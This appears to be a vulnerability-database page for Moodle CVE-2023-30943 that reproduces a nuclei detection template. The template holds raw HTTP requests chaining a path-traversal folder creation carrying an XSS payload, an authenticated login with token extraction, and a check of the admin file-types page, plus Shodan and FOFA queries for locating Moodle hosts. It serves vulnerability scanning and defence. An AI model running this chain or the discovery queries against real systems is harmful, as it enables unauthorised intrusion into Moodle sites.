HexBrain

Browse / CVEs / CVE-2023-30943

CVE-2023-30943· moodle / moodle· CWE-610, CWE-73

Moodle - Cross-Site Scripting/Remote Code Execution

mediumseverity
5.3CVSS score
6.8%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.

Impact

Successful exploitation of these vulnerabilities could lead to unauthorized access, data theft, and potential compromise of the Moodle application and its users.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/<input><img%20src=x%20onerror=alert(document.domain)>.png ; GET /login/index.php ; POST /login/index.php ; GET /admin/tool/filetypes/edit.php?name=add
Positive when: contains in body_4 "<img src=x onerror=alert(document.domain)>" and ">archive" and "File icon" AND contains in header_4 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-30943 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-30943

info:
  name: Moodle - Cross-Site Scripting/Remote Code Execution
  author: ritikchaddha
  severity: medium
  description: |
    The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of these vulnerabilities could lead to unauthorized access, data theft, and potential compromise of the Moodle application and its users.
  reference:
    - https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30943
    - http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-77718
    - https://bugzilla.redhat.com/show_bug.cgi?id=2188605
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/54TM5H5PDUDYXOQ7X7PPYWP4AJDAE73I/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-30943
    cwe-id: CWE-610,CWE-73
    epss-score: 0.06828
    epss-percentile: 0.94073
    cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: moodle
    product: moodle
    shodan-query:
      - title:"Moodle"
      - cpe:"cpe:2.3:a:moodle:moodle"
      - http.title:"moodle"
    fofa-query: title="moodle"
    google-query: intitle:"moodle"
  tags: cve,cve2023,moodle,xss,rce,authenticated,vuln

http:
  - raw:
      - |
        GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/<input><img%20src=x%20onerror=alert(document.domain)>.png HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        GET /login/index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        anchor=&logintoken={{token}}&username={{username}}&password={{password}}
      - |
        GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - "<img src=x onerror=alert(document.domain)>"
          - ">archive"
          - "File icon"
        condition: and

      - type: word
        part: header_4
        words:
          - text/html

      - type: status
        part: header_4
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: token
        group: 1
        regex:
          - 'name="logintoken" value="([a-zA-Z0-9]+)">'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from